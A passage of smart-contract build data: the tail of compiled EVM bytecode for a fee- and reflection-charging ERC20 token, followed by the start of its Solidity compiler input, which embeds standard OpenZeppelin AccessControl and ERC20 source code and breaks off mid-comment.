8dbdd5b9d081a5cc8185b1c9958591e481a5b98db1d591959602a1b60448201526064016106d9565b60005b601e54811015610a0d57816001600160a01b0316601e828154811061161d5761161d6131bd565b6000918252602090912001546001600160a01b0316036117a3576000611641611d62565b6001600160a01b0384166000908152601b6020908152604090912054905491925061166b91613106565b60209081556001600160a01b0384166000908152601c90915260409020546116949082906131d3565b6001600160a01b0384166000908152601b60208181526040808420948555601c82528320929092558152905490546116cc9190613119565b60209081556001600160a01b0384166000908152601d90915260409020805460ff19169055601e805461170190600190613106565b81548110611711576117116131bd565b600091825260209091200154601e80546001600160a01b03909216918490811061173d5761173d6131bd565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550601e80548061177c5761177c6131ea565b600082815260209020810160001990810180546001600160a01b0319169055019055505050565b6001016115f6565b600880546117b89061312c565b80601f01602080910402602001604051908101604052809291908181526020018280546117e49061312c565b80156118315780601f1061180657610100808354040283529160200191611831565b820191906000526020600020905b81548152906001019060200180831161181457829003601f168201915b505050505081565b60008060008060008060006118508b8b8b8b61208c565b91509150600061185e611d62565b905060008060006118708f86866120fe565b919c509a50985094965092945050505050945094509450945094565b6001600160a01b0383166118ee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106d9565b6001600160a01b03821661194f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106d9565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600061096b836001600160a01b03841661213a565b60006119d28484611397565b90506000198114611a3a5781811015611a2d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016106d9565b611a3a848484840361188c565b50505050565b6000611a4c8484612152565b90506000611a5a8585612170565b600954909150839015801590611a7a5750600a5460ff161580611a7a5750825b8015611a84575081155b15611b265760095460009061271090611a9d90846131d3565b611aa79190613166565b600654909150611ac59088906001600160a01b03168385600061218e565b611acf8186613106565b6040516a7472616e7366657246656560a81b8152909550600b0160405190819003812060065483835290916001600160a01b03918216918a169060008051602061334c8339815191529060200160405180910390a4505b600b5415801590611b415750600c5460ff161580611b415750825b8015611b4b575081155b15611bd957600b5460009061271090611b6490846131d3565b611b6e9190613166565b9050611b808761dead8385600061218e565b611b8a8186613106565b604051666275726e46656560c81b81529095506007016040519081900381208282529061dead906001600160a01b038a169060008051602061334c8339815191529060200160405180910390a4505b600f5415801590611bf4575060105460ff161580611bf45750825b8015611bfe575081155b15611d4c57600f5460009061271090611c1790846131d3565b611c219190613166565b601554909150611c3f9088906001600160a01b03168385600061218e565b611c4a6019886119b1565b158015611c6157506012546001600160a01b031615155b15611cec5760155460065460405163f7fd85c160e01b81526001600160a01b03918216600482015260115482166024820152601254821660448201526013546064820152601454608482015291169063f7fd85c19060a401600060405180830381600087803b158015611cd357600080fd5b505af1158015611ce7573d6000803e3d6000fd5b505050505b611cf68186613106565b604051696275796261636b46656560b01b8152909550600a0160405190819003812060155483835290916001600160a01b03918216918a169060008051602061334c8339815191529060200160405180910390a4505b611d5a86868684600161218e565b505050505050565b6000806000611d6f6121c4565b9092509050611d7e8183613166565b9250505090565b611d8f813361233f565b50565b611d9c82826110f1565b610a0d5760008281526005602090815260408083206001600160a01b03851684529091529020805460ff19166001179055611dd43390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b611e2282826110f1565b15610a0d5760008281526005602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b6000611e89611d62565b611e9390836131d3565b601f54909150611ea4908390613119565b601f55602054611eb5908290613119565b602055611ec1836110bd565b15611f04576001600160a01b0383166000908152601c6020526040902054611eea908390613119565b6001600160a01b0384166000908152601c60205260409020555b6001600160a01b0383166000908152601b6020526040902054611f28908290613119565b6001600160a01b0384166000818152601b602052604080822093909355915190919060008051602061336c833981519152906119a49086815260200190565b6001600160a01b038216611fbd5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016106d9565b8060026000828254611fcf9190613119565b90915550506001600160a01b0382166000818152602081815260408083208054860190555184815260008051602061336c833981519152910160405180910390a35050565b600061096b836001600160a01b038416612398565b6000612034826110bd565b1561205557506001600160a01b03166000908152601c602052604090205490565b6001600160a01b0382166000908152601b60205260409020546106aa906108ed565b600061096b836001600160a01b0384166123e2565b600e546000908190819060ff1615806120a25750845b90508015806120af575083155b156120c15786600092509250506120f5565b600d54600090612710906120d590896131d3565b6120df9190613166565b905060006120ed828a613106565b945090925050505b94509492505050565b600080808061210d85886131d3565b9050600061211b86886131d3565b905060006121298284613106565b929992985090965090945050505050565b60009081526001919091016020526040902054151590565b600061215f6019846119b1565b8061096b575061096b6019836119b1565b600061217d6017846119b1565b8061096b575061096b6017836119b1565b601654600160a01b900460ff16156121b2576121ad85858585856124d5565b6121bd565b6121bd8585856127cf565b5050505050565b602054601f546000918291825b601e5481101561230d5782601b6000601e84815481106121f3576121f36131bd565b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061225e575081601c6000601e8481548110612237576122376131bd565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15612275575050602054601f549094909350915050565b601b6000601e838154811061228c5761228c6131bd565b60009182526020808320909101546001600160a01b031683528201929092526040019020546122bb9084613106565b9250601c6000601e83815481106122d4576122d46131bd565b60009182526020808320909101546001600160a01b031683528201929092526040019020546123039083613106565b91506001016121d1565b50601f5460205461231e9190613166565b821015612336575050602054601f5490939092509050565b90939092509050565b61234982826110f1565b610a0d57612356816128e7565b6123618360206128f9565b604051602001612372929190613200565b60408051601f198184030181529082905262461bcd60e51b82526106d991600401612d80565b60006123a4838361213a565b6123da575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556106aa565b5060006106aa565b600081815260018301602052604081205480156124cb576000612406600183613106565b855490915060009061241a90600190613106565b905081811461247f57600086600001828154811061243a5761243a6131bd565b906000526020600020015490508087600001848154811061245d5761245d6131bd565b6000918252602080832090910192909255918252600188019052604090208390555b8554869080612490576124906131ea565b6001900381819060005260206000200160009055905585600101600086815260200190815260200160002060009055600193505050506106aa565b60009150506106aa565b6001600160a01b0385166124fb5760405162461bcd60e51b81526004016106d99061326f565b6001600160a01b0384166125215760405162461bcd60e51b81526004016106d9906132b4565b600083116125835760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106d9565b600061258f8686612152565b90506000601660009054906101000a90046001600160a01b03166001600160a01b031663e75d75d56040518163ffffffff1660e01b81526004016020604051808303816000875af11580156125e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061260c91906132f7565b9050806001600160a01b0316876001600160a01b0316148061263f5750806001600160a01b0316866001600160a01b0316145b1561264957600092505b600080600080600061265d8a8a898b611839565b945094509450945094506126708c6110bd565b801561268257506126808b6110bd565b155b1561269b576126968c8c8c8589898e612a94565b612726565b6126a48c6110bd565b1580156126b557506126b58b6110bd565b156126c9576126968c8c8c8589898e612b90565b6126d28c6110bd565b1580156126e557506126e38b6110bd565b155b156126f9576126968c8c8c8589898e612c7b565b6127028c6110bd565b801561271257506127128b6110bd565b15612726576127268c8c8c8589898e612c9f565b8a6001600160a01b03168c6001600160a01b031660008051602061336c8339815191528460405161275991815260200190565b60405180910390a387156127c1576127718382612cf3565b6040516c7265666c656374696f6e46656560981b8152600d01604051908190038120828252906000906001600160a01b038f169060008051602061334c8339815191529060200160405180910390a45b505050505050505050505050565b6001600160a01b0383166127f55760405162461bcd60e51b81526004016106d99061326f565b6001600160a01b03821661281b5760405162461bcd60e51b81526004016106d9906132b4565b6001600160a01b038316600090815260208190526040902054818110156128935760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016106d9565b6001600160a01b038481166000818152602081815260408083208787039055938716808352918490208054870190559251858152909260008051602061336c833981519152910160405180910390a3611a3a565b60606106aa6001600160a01b03831660145b606060006129088360026131d3565b612913906002613119565b6001600160401b0381111561292a5761292a612ec3565b6040519080825280601f01601f191660200182016040528015612954576020820181803683370190505b509050600360fc1b8160008151811061296f5761296f6131bd565b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811061299e5761299e6131bd565b60200101906001600160f81b031916908160001a90535060006129c28460026131d3565b6129cd906001613119565b90505b6001811115612a45576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110612a0157612a016131bd565b1a60f81b828281518110612a1757612a176131bd565b60200101906001600160f81b031916908160001a90535060049490941c93612a3e81613314565b90506129d0565b50831561096b5760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e7460448201526064016106d9565b6001600160a01b0387166000908152601c6020526040902054612ab8908690613106565b6001600160a01b0388166000908152601c6020908152604080832093909355601b90522054612ae8908490613106565b6001600160a01b0388166000908152601b60205260409020558015612b49576001600160a01b0386166000908152601b6020526040902054612b2b908390613119565b6001600160a01b0387166000908152601b6020526040902055612b87565b6001600160a01b0386166000908152601b6020526040902054612b6d908490613119565b6001600160a01b0387166000908152601b60205260409020555b50505050505050565b6001600160a01b0387166000908152601b6020526040902054612bb4908490613106565b6001600160a01b0388166000908152601b60205260409020558015612c27576001600160a01b0386166000908152601c6020526040902054612bf7908590613119565b6001600160a01b0387166000908152601c6020908152604080832093909355601b90522054612b2b908390613119565b6001600160a01b0386166000908152601c6020526040902054612c4b908690613119565b6001600160a01b0387166000908152601c6020908152604080832093909355601b90522054612b6d908490613119565b6001600160a01b0387166000908152601b6020526040902054612ae8908490613106565b6001600160a01b0387166000908152601c6020526040902054612cc3908690613106565b6001600160a01b0388166000908152601c6020908152604080832093909355601b90522054612bb4908490613106565b602054612d01908390613106565b602055602154612d12908290613119565b6021555050565b600060208284031215612d2b57600080fd5b81356001600160e01b03198116811461096b57600080fd5b600060208284031215612d5557600080fd5b5035919050565b60005b83811015612d77578181015183820152602001612d5f565b50506000910152565b6020815260008251806020840152612d9f816040850160208701612d5c565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611d8f57600080fd5b60008060408385031215612ddb57600080fd5b8235612de681612db3565b946020939093013593505050565b600060208284031215612e0657600080fd5b813561096b81612db3565b600080600060608486031215612e2657600080fd5b8335612e3181612db3565b92506020840135612e4181612db3565b929592945050506040919091013590565b60008060408385031215612e6557600080fd5b823591506020830135612e7781612db3565b809150509250929050565b80358015158114612e9257600080fd5b919050565b60008060408385031215612eaa57600080fd5b82359150612eba60208401612e82565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b604051608081016001600160401b0381118282101715612f0957634e487b7160e01b600052604160045260246000fd5b60405290565b600060808284031215612f2157600080fd5b612f29612ed9565b8235612f3481612db3565b81526020830135612f4481612db3565b6020820152604083810135908201526060928301359281019290925250919050565b600060408284031215612f7857600080fd5b604080519081016001600160401b0381118282101715612fa857634e487b7160e01b600052604160045260246000fd5b60405282358152905080612fbe60208401612e82565b60208201525092915050565b60006101008284031215612fdd57600080fd5b612fe5612ed9565b612fef8484612f66565b8152612ffe8460408501612f66565b60208201526130108460808501612f66565b60408201526130228460c08501612f66565b60608201529392505050565b805182526020908101511515910152565b610100810161304e828761302e565b61305b604083018661302e565b613068608083018561302e565b61307560c083018461302e565b95945050505050565b6000806040838503121561309157600080fd5b823561309c81612db3565b91506020830135612e7781612db3565b60208082526024908201527f546f6b656e466945524332303a207265666c656374696f6e206e6f7420656e61604082015263189b195960e21b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b818103818111156106aa576106aa6130f0565b808201808211156106aa576106aa6130f0565b600181811c9082168061314057607f821691505b60208210810361316057634e487b7160e01b600052602260045260246000fd5b50919050565b60008261318357634e487b7160e01b600052601260045260246000fd5b500490565b6020808252601b908201527a2a37b5b2b72334a2a92199181d1036bab9ba1031329030b236b4b760291b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b80820281158282048414176106aa576106aa6130f0565b634e487b7160e01b600052603160045260246000fd5b76020b1b1b2b9b9a1b7b73a3937b61d1030b1b1b7bab73a1604d1b815260008351613232816017850160208801612d5c565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351613263816028840160208801612d5c565b01602801949350505050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60006020828403121561330957600080fd5b815161096b81612db3565b600081613323576133236130f0565b50600019019056fe6c0757dc3e6b28b2580c03fd9e96c274acf4f99d91fbec9b418fa1d70604ff1c2022773e2291f2fc9298b5ad7d60fae5174151fe00b975c5bdbbe737ba1bfc2fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef546f6b656e466945524332303a207265666c656374696f6e2070657263656e74a164736f6c6343000817000a
|
{{
"language": "Solidity",
"settings": {
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "none",
"useLiteralContent": true
},
"optimizer": {
"enabled": true,
"runs": 10
},
"remappings": [],
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
},
"sources": {
"@openzeppelin/contracts/access/AccessControl.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (access/AccessControl.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IAccessControl.sol\";\nimport \"../utils/Context.sol\";\nimport \"../utils/Strings.sol\";\nimport \"../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Contract module that allows children to implement role-based access\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\n * members except through off-chain means by accessing the contract event logs. Some\n * applications may benefit from on-chain enumerability, for those cases see\n * {AccessControlEnumerable}.\n *\n * Roles are referred to by their `bytes32` identifier. These should be exposed\n * in the external API and be unique. The best way to achieve this is by\n * using `public constant` hash digests:\n *\n * ```solidity\n * bytes32 public constant MY_ROLE = keccak256(\"MY_ROLE\");\n * ```\n *\n * Roles can be used to represent a set of permissions. To restrict access to a\n * function call, use {hasRole}:\n *\n * ```solidity\n * function foo() public {\n * require(hasRole(MY_ROLE, msg.sender));\n * ...\n * }\n * ```\n *\n * Roles can be granted and revoked dynamically via the {grantRole} and\n * {revokeRole} functions. Each role has an associated admin role, and only\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\n *\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\n * that only accounts with this role will be able to grant or revoke other\n * roles. More complex role relationships can be created by using\n * {_setRoleAdmin}.\n *\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\n * grant and revoke this role. Extra precautions should be taken to secure\n * accounts that have been granted it. We recommend using {AccessControlDefaultAdminRules}\n * to enforce additional security measures for this role.\n */\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\n struct RoleData {\n mapping(address => bool) members;\n bytes32 adminRole;\n }\n\n mapping(bytes32 => RoleData) private _roles;\n\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n /**\n * @dev Modifier that checks that an account has a specific role. Reverts\n * with a standardized message including the required role.\n *\n * The format of the revert reason is given by the following regular expression:\n *\n * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/\n *\n * _Available since v4.1._\n */\n modifier onlyRole(bytes32 role) {\n _checkRole(role);\n _;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) public view virtual override returns (bool) {\n return _roles[role].members[account];\n }\n\n /**\n * @dev Revert with a standard message if `_msgSender()` is missing `role`.\n * Overriding this function changes the behavior of the {onlyRole} modifier.\n *\n * Format of the revert message is described in {_checkRole}.\n *\n * _Available since v4.6._\n */\n function _checkRole(bytes32 role) internal view virtual {\n _checkRole(role, _msgSender());\n }\n\n /**\n * @dev Revert with a standard message if `account` is missing `role`.\n *\n * The format of the revert reason is given by the following regular expression:\n *\n * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/\n */\n function _checkRole(bytes32 role, address account) internal view virtual {\n if (!hasRole(role, account)) {\n revert(\n string(\n abi.encodePacked(\n \"AccessControl: account \",\n Strings.toHexString(account),\n \" is missing role \",\n Strings.toHexString(uint256(role), 32)\n )\n )\n );\n }\n }\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {\n return _roles[role].adminRole;\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n *\n * May emit a {RoleGranted} event.\n */\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\n _grantRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n *\n * May emit a {RoleRevoked} event.\n */\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\n _revokeRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been revoked `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `account`.\n *\n * May emit a {RoleRevoked} event.\n */\n function renounceRole(bytes32 role, address account) public virtual override {\n require(account == _msgSender(), \"AccessControl: can only renounce roles for self\");\n\n _revokeRole(role, account);\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event. Note that unlike {grantRole}, this function doesn't perform any\n * checks on the calling account.\n *\n * May emit a {RoleGranted} event.\n *\n * [WARNING]\n * ====\n * This function should only be called from the constructor when setting\n * up the initial roles for the system.\n *\n * Using this function in any other way is effectively circumventing the admin\n * system imposed by {AccessControl}.\n * ====\n *\n * NOTE: This function is deprecated in favor of {_grantRole}.\n */\n function _setupRole(bytes32 role, address account) internal virtual {\n _grantRole(role, account);\n }\n\n /**\n * @dev Sets `adminRole` as ``role``'s admin role.\n *\n * Emits a {RoleAdminChanged} event.\n */\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n bytes32 previousAdminRole = getRoleAdmin(role);\n _roles[role].adminRole = adminRole;\n emit RoleAdminChanged(role, previousAdminRole, adminRole);\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * Internal function without access restriction.\n *\n * May emit a {RoleGranted} event.\n */\n function _grantRole(bytes32 role, address account) internal virtual {\n if (!hasRole(role, account)) {\n _roles[role].members[account] = true;\n emit RoleGranted(role, account, _msgSender());\n }\n }\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * Internal function without access restriction.\n *\n * May emit a {RoleRevoked} event.\n */\n function _revokeRole(bytes32 role, address account) internal virtual {\n if (hasRole(role, account)) {\n _roles[role].members[account] = false;\n emit RoleRevoked(role, account, _msgSender());\n }\n }\n}\n"
},
"@openzeppelin/contracts/access/IAccessControl.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev External interface of AccessControl declared to support ERC165 detection.\n */\ninterface IAccessControl {\n /**\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\n *\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\n * {RoleAdminChanged} not being emitted signaling this.\n *\n * _Available since v3.1._\n */\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n\n /**\n * @dev Emitted when `account` is granted `role`.\n *\n * `sender` is the account that originated the contract call, an admin role\n * bearer except when using {AccessControl-_setupRole}.\n */\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Emitted when `account` is revoked `role`.\n *\n * `sender` is the account that originated the contract call:\n * - if using `revokeRole`, it is the admin role bearer\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\n */\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) external view returns (bool);\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {AccessControl-_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function grantRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function revokeRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been granted `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `account`.\n */\n function renounceRole(bytes32 role, address account) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * The default value of {decimals} is 18. To change this, you should override\n * this function so it returns a different value.\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the default value returned by this function, unless\n * it's overridden.\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(address from, address to, uint256 amount) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by\n // decrementing then incrementing.\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n // Overflow not possible: amount <= accountBalance <= totalSupply.\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets 